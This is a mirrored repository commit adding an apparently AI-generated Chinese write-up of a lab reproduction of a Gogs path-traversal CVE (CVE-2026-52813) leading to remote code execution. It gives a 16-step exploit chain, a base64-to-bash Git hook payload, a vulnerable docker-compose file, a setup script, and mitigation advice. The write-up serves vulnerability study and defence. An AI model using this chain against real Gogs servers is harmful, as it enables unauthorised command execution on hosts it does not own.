mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
AI 生成 | Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录、
This commit is contained in:
1 parent
302a4d454f
commit
8115bb3769
2 files changed
+802
-1
No files matched your search
@@ -21439,5 +21439,6 @@
|
||||
"https://mp.weixin.qq.com/s/t8uwBasBjx1E2W9VJsPMzQ": "手把手教你用 kali 进行渗透测试,含信息收集、漏洞利用、权限提升等",
|
||||
"https://mp.weixin.qq.com/s/rqb5G7wrtgdmwCAvbIvqKA": "CVE-2026-25860 - OpenClinic GA 反射型 XSS 漏洞导致远程代码执行",
|
||||
"https://mp.weixin.qq.com/s/3uepeUGGnQMGIHTggkhw6w": "CISA警告:思科统一配置管理(Cisco Unified CM)漏洞已被攻击者利用",
|
||||
"https://mp.weixin.qq.com/s/nKWR5Sypju9tNsac5zPGgw": "GeoLocate CVE-2025-52465 - GeoServer漏洞利用"
|
||||
"https://mp.weixin.qq.com/s/nKWR5Sypju9tNsac5zPGgw": "GeoLocate CVE-2025-52465 - GeoServer漏洞利用",
|
||||
"https://mp.weixin.qq.com/s/I0klN0JtPqeTGVs1zJd9Sg": "AI 生成 | Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录"
|
||||
}
|
||||
@@ -0,0 +1,800 @@
|
||||
# AI 生成 | Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录
|
||||
原创 GLM-5.2
|
||||
GLM-5.2 赛博生存指南 2026-06-26 15:20
|
||||
|
||||
|
||||
|
||||
## 一、漏洞定位
|
||||
|
||||
**CVE-2026-52813 / GHSA-c39w-43gm-34h5**
|
||||
,CWE-23 Relative Path Traversal,影响 Gogs 0.14.0
|
||||
–0.14.2
|
||||
,0.14.3
|
||||
修复。
|
||||
|
||||
Gogs 在创建组织(organization)时,会用组织名拼出仓库目录路径,却没有对 ../
|
||||
做任何清洗:
|
||||
```
|
||||
// internal/database/org.go
|
||||
os.MkdirAll(repox.UserPath(org.Name))
|
||||
```
|
||||
|
||||
由于组织名是攻击者可控的字符串,一个形如 ../../../../data/gogs/data/tmp/local-r/<id>/nested
|
||||
的组织名,会让该组织下的仓库目录被建到任意路径——包括**另一个仓库的本地工作区**
|
||||
里。一旦能把文件写进目标仓库的 .git/hooks/
|
||||
,就等于拿到了在该仓库被访问时自动执行的代码(post-receive
|
||||
/ update
|
||||
等 Git 钩子),即 RCE。
|
||||
|
||||
执行身份是容器里的 git
|
||||
用户(uid=1000(git)
|
||||
),虽不是 root,但对自托管 Git 服务来说,这已经是完整的服务端命令执行。
|
||||
|
||||
地址:
|
||||
https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5
|
||||
|
||||
文中相关脚本【文末也有】:
|
||||
https://pan.baidu.com/s/1Rzb0MtyekVg-c-nYj4h8oA?pwd=vft2 提取码: vft2
|
||||
## 二、关键前提:Gogs 的 local-r 机制
|
||||
|
||||
复现前必须搞懂的一个细节:Gogs 不是直接对裸仓库(bare repo)做 Web/API 文件操作的。每次通过 Web 编辑器或 API 写文件,它会在 /data/gogs/data/tmp/local-r/<repo_id>/
|
||||
下**克隆出一份工作副本**
|
||||
,在副本里改文件、提交,再同步回裸仓库。
|
||||
|
||||
这条机制的副作用,是整个利用链能成立的基础:
|
||||
- • 给组织名做路径穿越后,组织下新建仓库的 .git
|
||||
目录会**落在另一个仓库(writer)的工作副本目录树里**
|
||||
;
|
||||
|
||||
- • writer 的工作副本本身可以被 clone、被 push——于是攻击者能像改普通文件一样,把恶意内容写进那个被“挪过来”的 .git/hooks/
|
||||
;
|
||||
|
||||
- • 关键还在于:local-r/<id>/
|
||||
里那份 .git/hooks/
|
||||
是 git init
|
||||
自动生成的,钩子文件权限是 **100755(可执行)**
|
||||
。这一点在后面会成为绕过 Windows 攻击端坑的关键。
|
||||
|
||||
## 三、复现环境
|
||||
|
||||
最小 Docker Compose 栈,Gogs + PostgreSQL:
|
||||
```
|
||||
services:
|
||||
db:
|
||||
image: postgres:16-alpine
|
||||
environment:
|
||||
POSTGRES_USER: gogs
|
||||
POSTGRES_PASSWORD: gogs
|
||||
POSTGRES_DB: gogs
|
||||
volumes:
|
||||
- postgres-data:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
|
||||
interval: 5s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
|
||||
gogs:
|
||||
# Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813
|
||||
image: gogs/gogs:0.14.2
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
ports:
|
||||
- "3000:3000"
|
||||
volumes:
|
||||
- gogs-data:/data
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
gogs-data:
|
||||
postgres-data:
|
||||
```
|
||||
|
||||
镜像版本这一行是整套复现里最容易被忽略、却最致命的坑(详见第五节)。这里**必须钉死 gogs/gogs:0.14.2**
|
||||
,gogs/gogs:latest
|
||||
现在已经是修复后的 0.14.3
|
||||
。
|
||||
## 四、复现流程
|
||||
|
||||
整个流程拆成两段脚本:setup.py
|
||||
负责把空实例配好并造出攻击者账号;gogs-rce.py
|
||||
负责跑完整的利用链。
|
||||
### 1. 起服务
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
等 Gogs 起来后访问 http://localhost:3000/
|
||||
,会 302 跳到 /install
|
||||
安装向导。这一步用脚本自动填表,不手点。
|
||||
### 2. 安装向导 + 建号(setup.py)
|
||||
|
||||
setup.py
|
||||
干三件事:填 PostgreSQL 连接信息提交安装表单;等安装完成、Gogs 内部重启;用管理员账号通过 API 造一个 attacker/attacker
|
||||
攻击者账号。
|
||||
|
||||
为什么走 API 而不是网页注册?因为自注册默认带 CAPTCHA,脚本里处理验证码不划算;用管理员 token 走 /api/v1/admin/users
|
||||
直接建号最干净。
|
||||
|
||||
安装成功后,实例上就有了:
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">账号</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">密码</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">角色</span></section></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 10.8px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gogs</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 10.8px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gogspass</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">管理员</span></section></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 10.8px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">attacker</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;Line truncated
|
||||
### 3. 利用链(gogs-rce.py)
|
||||
|
||||
完整利用链共 16 步,核心逻辑如下。命令默认 id
|
||||
,可改成任意 shell 命令。
|
||||
```
|
||||
step 1 attacker 申请 API token(basic auth 换 sha1 token)
|
||||
step 2 建 writer 仓库(普通个人仓库),Gogs 在 local-r/<n>/ 给它建工作副本
|
||||
step 3 Web 编辑器往 writer 丢一个文件,触发 local-r 工作副本生成
|
||||
step 4 查出 writer 的 repo id = n
|
||||
step 5 建组织:username = ../../../../data/gogs/data/tmp/local-r/<n>/nested ← 穿越点
|
||||
step 6 GET 组织确认 422 已消失(即穿越名被接受)
|
||||
step 7 在该组织下建 rce 仓库 —— 它的 .git 目录被写进 writer 的工作副本里
|
||||
step 8 GET rce 仓库确认存在
|
||||
step 9 往 writer 丢文件,强制 resync:把 nested/<rce>.git/ 连同可执行钩子提交进 writer 树
|
||||
step 10 clone writer 到本地
|
||||
step 11 覆写 nested/<rce>.git/hooks/{post-receive,update} 为 payload
|
||||
step 12 push writer
|
||||
step 13 再次 resync:把可执行的恶意 post-receive 落到 rce 裸仓库的磁盘上
|
||||
step 14 往 rce 仓库写文件触发 hook → Gogs 推送 → post-receive 执行 → 落盘 CMD_OUTPUT
|
||||
step 15 第三次 resync:把磁盘上的 CMD_OUTPUT 提交进 writer 树
|
||||
step 16 GET writer 的 raw 文件读出命令执行结果
|
||||
```
|
||||
|
||||
payload 本体是个 base64 + bash 的一行:
|
||||
```
|
||||
echo '<base64(COMMAND)>' | base64 -d | bash > pwned
|
||||
```
|
||||
|
||||
钩子被 Gogs 以 git
|
||||
身份执行,输出写到裸仓库目录下的 pwned
|
||||
,再通过 writer 的 raw 接口读回来。
|
||||
### 4. 成功结果
|
||||
|
||||
两轮干净的端到端复现,都拿到了 git
|
||||
身份的任意命令执行:
|
||||
```
|
||||
uid=1000(git) gid=1000(git) groups=1000(git)
|
||||
```
|
||||
|
||||
换成读系统信息,确认了执行环境是 WSL2 下的 Alpine:
|
||||
```
|
||||
PWNED_BY=git ON=cee09eb74aa7 KERNEL=Linux 6.6.87.2-microsoft-standard-WSL2
|
||||
PRETTY_NAME="Alpine Linux v3.21"
|
||||
```
|
||||
## 五、遇到的问题与排查(重点)
|
||||
|
||||
这套 PoC 在公开 gist 里是为 Linux 攻击机写的,原样跑在 Windows 上、或在当前(2026 年中)的时间点跑,会连续踩坑。下面按踩坑顺序逐个记录。
|
||||
### 问题 1:gogs/gogs:latest 已经是修复版
|
||||
|
||||
最开始没钉版本,直接 image: gogs/gogs
|
||||
。环境起得来、安装也过了,但到了 step 5 建组织时报:
|
||||
```
|
||||
422 {"message":"invalid org name","url":"..."}
|
||||
```
|
||||
|
||||
组织名里的 ../
|
||||
被服务端拒掉了。第一反应是 payload 转义问题,改了好几种 URL 编码都没用。去查镜像 tag 才发现:gogs/gogs:latest
|
||||
现在指向 0.14.3
|
||||
,构建日期 2026-06-07,**漏洞已经修了**
|
||||
。0.14.3
|
||||
的修复正是对组织名做了路径校验。
|
||||
|
||||
**解决**
|
||||
:把 compose 里的镜像钉成 gogs/gogs:0.14.2
|
||||
,docker compose down -v
|
||||
清掉旧数据卷后重建。这一步是能否复现的“0 和 1”。
|
||||
> 教训:复现历史 CVE,镜像版本永远要钉到漏洞窗口内的具体 tag,不要信 latest
|
||||
。
|
||||
|
||||
### 问题 2:安装表单 400(字段不全)
|
||||
|
||||
setup.py
|
||||
第一次提交 /install
|
||||
直接 400。原因是安装表单的字段集和早期版本不一样,0.14.x
|
||||
多了几个必填项:
|
||||
- • db_schema
|
||||
:PostgreSQL 必填,要设成 "public"
|
||||
,否则后面会报 schema 错误(见问题 4);
|
||||
|
||||
- • log_root_path
|
||||
:要给一个容器内可写路径,如 /app/gogs/log
|
||||
;
|
||||
|
||||
- • use_builtin_ssh_server
|
||||
、enable_console_mode
|
||||
、default_branch
|
||||
等开关字段也不能少。
|
||||
|
||||
另外管理员密码有最小长度校验,最初用的短密码直接被拒。
|
||||
|
||||
**解决**
|
||||
:按 0.14.x
|
||||
表单把字段补全,ADMIN_PASS
|
||||
改成 "gogspass"
|
||||
。
|
||||
### 问题 3:PostgreSQL 认证失败(SQLSTATE 28P01)
|
||||
|
||||
装好提交,PostgreSQL 报 password authentication failed for user "gogs"
|
||||
。
|
||||
|
||||
排查发现是**数据卷持久化**
|
||||
惹的祸:之前用过别的密码起过 postgres,卷里已经存了旧密码的认证信息。POSTGRES_PASSWORD
|
||||
这个环境变量只在**卷第一次初始化时**
|
||||
生效,卷已存在时改环境变量无效。
|
||||
|
||||
**解决**
|
||||
:docker compose down -v
|
||||
连数据卷一起删,重新初始化。
|
||||
> 教训:postgres 容器改了 POSTGRES_PASSWORD
|
||||
不生效,99% 是卷里已有旧数据。要么 -v
|
||||
,要么进库手动 ALTER USER
|
||||
。
|
||||
|
||||
### 问题 4:PostgreSQL 未选 schema(SQLSTATE 3F000)
|
||||
|
||||
密码过了,又报 no schema has been selected to create in
|
||||
。
|
||||
|
||||
这是 0.14.x
|
||||
安装表单新增的 db_schema
|
||||
字段没填。早期 Gogs 不分 schema,直接用 public
|
||||
;新版表单把它做成显式字段,留空就报这个错。
|
||||
|
||||
**解决**
|
||||
:表单里加 "db_schema": "public"
|
||||
。
|
||||
### 问题 5:admin token 接口 401
|
||||
|
||||
实例装好了,setup.py
|
||||
去调 /api/v1/users/gogs/tokens
|
||||
用 basic auth 换 token,稳定 401。但用网页能正常登录,说明账号密码没问题。
|
||||
|
||||
两个原因叠加:
|
||||
1. 1. **会话污染**
|
||||
:安装流程用的那个 requests.Session()
|
||||
带着安装时的 cookie,和 HTTP basic auth 打架,认证头被 cookie 影子盖住;
|
||||
|
||||
1. 2. **重启竞态**
|
||||
:Gogs 装完会内部重启一次,重启的几秒内 API 还没就绪,basic auth 会短暂 401。
|
||||
|
||||
**解决**
|
||||
:admin_token()
|
||||
和 create_attacker()
|
||||
都改用**全新的**
|
||||
requests.Session()
|
||||
(不复用安装那个被污染的 session),外加一个最多 20 次、每次间隔 2 秒的重试循环,并在 install_done()
|
||||
之后再 time.sleep(8)
|
||||
把重启窗口让过去。
|
||||
> 教训:requests 里 basic auth 和 session cookie 同存时,认证语义会被 cookie 干扰,调试脚本最好给每段独立的事务开新 session。
|
||||
|
||||
### 问题 6:最后一步 404(Windows 攻击端钩子丢失可执行位)——最隐蔽的坑
|
||||
|
||||
这是耗时最长的一个坑。版本钉对了(0.14.2
|
||||
)、穿越成功、update
|
||||
钩子也写进去了,但 step 14 触发后 step 16 读 pwned
|
||||
返回 **404**
|
||||
——钩子根本没执行。
|
||||
|
||||
原因链:
|
||||
1. 1. 原始 gist PoC 只覆盖一个**新建**
|
||||
的 update
|
||||
钩子;
|
||||
|
||||
1. 2. 我在 **Windows**
|
||||
上跑攻击端,Windows 版 git 默认 core.fileMode=false
|
||||
,新增文件一律按 100644
|
||||
(非可执行)入索引;
|
||||
|
||||
1. 3. push 上去后,update
|
||||
钩子在服务端就是 100644
|
||||
,**git 不会执行没有可执行位的钩子**
|
||||
;
|
||||
|
||||
1. 4. 于是触发推送时钩子被静默跳过,pwned
|
||||
从不生成,读出来就是 404。
|
||||
|
||||
**解决**
|
||||
:思路是**覆盖一个已经可执行的文件,而不是新建文件**
|
||||
。git init
|
||||
创建裸仓库时,hooks/
|
||||
下的 post-receive.sample
|
||||
等模板是 100755
|
||||
,而 Gogs 落地的真实 post-receive
|
||||
同样是 100755
|
||||
。在 core.fileMode=false
|
||||
下,git add
|
||||
一个**已存在**
|
||||
的可执行文件时,会**保留其索引中的 100755 模式**
|
||||
,只改内容。于是:
|
||||
- • payload 同时写 post-receive
|
||||
和 update
|
||||
两个钩子——post-receive
|
||||
是覆盖既有可执行文件(生效,跨平台),update
|
||||
是新建(仅在 Linux 攻击端生效,作为兼容兜底);
|
||||
|
||||
- • 详见 gogs-rce.py
|
||||
文件头注释里写的两条适配。
|
||||
|
||||
```
|
||||
hook_paths = [Path(ORG_NAME) / f"{REPO_NAME}.git" / "hooks" / h
|
||||
for h in ("post-receive", "update")]
|
||||
```
|
||||
### 问题 7:钩子写进 writer 树却没落到 rce 裸仓库的磁盘上
|
||||
|
||||
修好可执行位后,钩子在 writer 的 git 树里是对的了,但 step 14 触发还是没执行。
|
||||
|
||||
根因回到第二节那条 local-r 机制:**writer 树里的 .git/hooks/ 内容,不会自动同步回 local-r/<n>/ 下 rce 裸仓库的磁盘**
|
||||
。Gogs 只有在“对 writer 做一次写操作”时才会重新拉取/同步 writer 的工作副本。所以单纯 clone→改→push,恶意钩子停留在 writer 的提交历史里,但 rce 裸仓库磁盘上那份钩子还是干净的。
|
||||
|
||||
**解决**
|
||||
:在关键节点插入 **3 次 writer resync**
|
||||
(每次都是往 writer 丢一个文件,逼 Gogs 重新同步工作副本):
|
||||
- • step 9:rce 仓库建完后 resync,让 nested/<rce>.git/
|
||||
连同可执行钩子先进 writer 树;
|
||||
|
||||
- • step 13:push 完 payload 再 resync,把可执行的恶意 post-receive
|
||||
落到 rce 裸仓库磁盘上;
|
||||
|
||||
- • step 15:触发执行后 resync,把磁盘上新产生的 pwned
|
||||
提交回 writer 树,供 step 16 读取。
|
||||
|
||||
原 gist 在 Linux 上一次跑通,部分原因是它的工作目录/同步时机恰好踩对了;到了 Windows + 当前版本环境,必须显式补这几步。
|
||||
## 六、坑位速查表
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">#</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">现象</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">根因</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">解决</span></section></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">1</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">建组织 422 invalid org name</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 10.8px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">:latest</span></code><section><span leaf=""> 已是修复版 0.14.3</span></section></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: keep-all;"><section><span leaf="">钉 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 10.8px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gogs/gogs:0.14.2</span></code><span leaf="">,清卷重建</span></section></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, "PingFang SC", Cambria, Cochin, Georgia, Times, "Times New Roman", serif;font-size: 12px;padding: 0.25em 0.5em;cLine truncated
|
||||
## 七、修复与防御
|
||||
|
||||
官方 0.14.3
|
||||
的修法是对组织名(以及其它用户可控的仓库路径片段)做白名单字符校验,拒掉 ../
|
||||
与绝对路径,从源头堵住路径穿越。
|
||||
|
||||
对运维侧的几条启示:
|
||||
1. 1. **及时升级**
|
||||
。自托管服务极易长期停在某个老版本,Gogs 这类项目修复窗口一过,公开 PoC 就能直接打。当前线上应至少升到 0.14.3
|
||||
。
|
||||
|
||||
1. 2. **最小权限**
|
||||
。容器以 git
|
||||
用户而非 root 运行,确实把爆炸半径限在容器内,但“容器内非 root”不等于安全——本案照样拿到服务端 RCE。配合只读根文件系统、 capabilities 裁剪才有意义。
|
||||
|
||||
1. 3. **仓库目录与运行态目录隔离**
|
||||
。本案能成立,部分是因为仓库存储路径(/data/git/gogs-repositories
|
||||
)和运行态临时目录(/data/gogs/data/tmp/
|
||||
)落在同一棵可写树下。理想情况应分卷、分权限。
|
||||
|
||||
1. 4. **钩子执行监控**
|
||||
。Git 钩子是 git
|
||||
身份的任意执行点。生产环境若开了仓库钩子,应配合 exec 审计(auditd / Sysmon for Linux)记录 hooks/
|
||||
下的执行行为。
|
||||
|
||||
## 八、安全说明
|
||||
|
||||
本文是对**公开披露**
|
||||
漏洞(GHSA-c39w-43gm-34h5 / CVE-2026-52813)的本地复现记录,所有操作都在本人完全可控的 Docker 隔离实例上完成,使用官方已修复版本之外的最后一个受影响版本 0.14.2
|
||||
做验证。目的仅为理解漏洞成因与排查思路,请勿用于未授权目标。
|
||||
## 附录:相关脚本
|
||||
> 完整脚本保存在仓库。下面给出复现用到的三个文件,仅作技术参考,请在授权隔离环境使用。
|
||||
|
||||
### 1. docker-compose.yml
|
||||
```
|
||||
services:
|
||||
db:
|
||||
image: postgres:16-alpine
|
||||
environment:
|
||||
POSTGRES_USER: gogs
|
||||
POSTGRES_PASSWORD: gogs
|
||||
POSTGRES_DB: gogs
|
||||
volumes:
|
||||
- postgres-data:/var/lib/postgresql/data
|
||||
restart: unless-stopped
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
|
||||
interval: 5s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
|
||||
gogs:
|
||||
# Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813 / GHSA-c39w-43gm-34h5
|
||||
# (org-name path traversal -> RCE). Fixed in 0.14.3.
|
||||
image: gogs/gogs:0.14.2
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
ports:
|
||||
- "3000:3000"
|
||||
volumes:
|
||||
- gogs-data:/data
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
gogs-data:
|
||||
postgres-data:
|
||||
```
|
||||
### 2. setup.py(自动安装 + 建攻击者账号)
|
||||
```
|
||||
"""Bootstrap a fresh Gogs instance for the GHSA-c39w-43gm-34h5 PoC.Steps: 1. Wait for Gogs to come up and expose /install. 2. POST the installer form (PostgreSQL at db:5432 + admin account `gogs/gogs`). 3. Wait until install completes. 4. Mint an admin API token and create the `attacker/attacker` user via the admin API (avoids the self-registration CAPTCHA entirely)."""
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
||||
import requests
|
||||
|
||||
GOGS_BASE = "http://localhost:3000"
|
||||
ADMIN_USER = "gogs"
|
||||
ADMIN_PASS = "gogspass"
|
||||
ADMIN_EMAIL = "[email protected]"
|
||||
ATTACKER_USER = "attacker"
|
||||
ATTACKER_PASS = "attacker"
|
||||
ATTACKER_EMAIL = "[email protected]"
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
|
||||
def wait_for(url: str, *, want_installable: bool = False, timeout: int = 180) -> None:
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
try:
|
||||
r = s.get(url, allow_redirects=False, timeout=5)
|
||||
except requests.RequestException:
|
||||
time.sleep(2)
|
||||
continue
|
||||
if r.status_code in (200, 302):
|
||||
if want_installable:
|
||||
loc = r.headers.get("Location", "")
|
||||
if r.status_code == 302 and loc.endswith("/install"):
|
||||
return
|
||||
if r.status_code == 200 and "/install" in r.text:
|
||||
return
|
||||
else:
|
||||
return
|
||||
time.sleep(2)
|
||||
raise SystemExit(f"timed out waiting for {url}")
|
||||
|
||||
|
||||
def csrf_from(html: str) -> str | None:
|
||||
for pat in (
|
||||
r'<input[^>]+name="_csrf"[^>]+value="([^"]+)"',
|
||||
r'<meta name="_csrf" content="([^"]+)"',
|
||||
):
|
||||
m = re.search(pat, html)
|
||||
if m:
|
||||
return m.group(1)
|
||||
return None
|
||||
|
||||
|
||||
def do_install() -> None:
|
||||
# Gogs serves / on a fresh instance by redirecting to /install
|
||||
r = s.get(f"{GOGS_BASE}/install", timeout=10)
|
||||
print("[install] GET /install ->", r.status_code)
|
||||
csrf = csrf_from(r.text)
|
||||
form = {
|
||||
"db_type": "PostgreSQL",
|
||||
"db_host": "db:5432",
|
||||
"db_user": "gogs",
|
||||
"db_passwd": "gogs",
|
||||
"db_name": "gogs",
|
||||
"db_schema": "public",
|
||||
"ssl_mode": "disable",
|
||||
"db_path": "",
|
||||
"app_name": "Gogs",
|
||||
"repo_root_path": "/data/git/gogs-repositories",
|
||||
"run_user": "git",
|
||||
"domain": "localhost",
|
||||
"ssh_port": "22",
|
||||
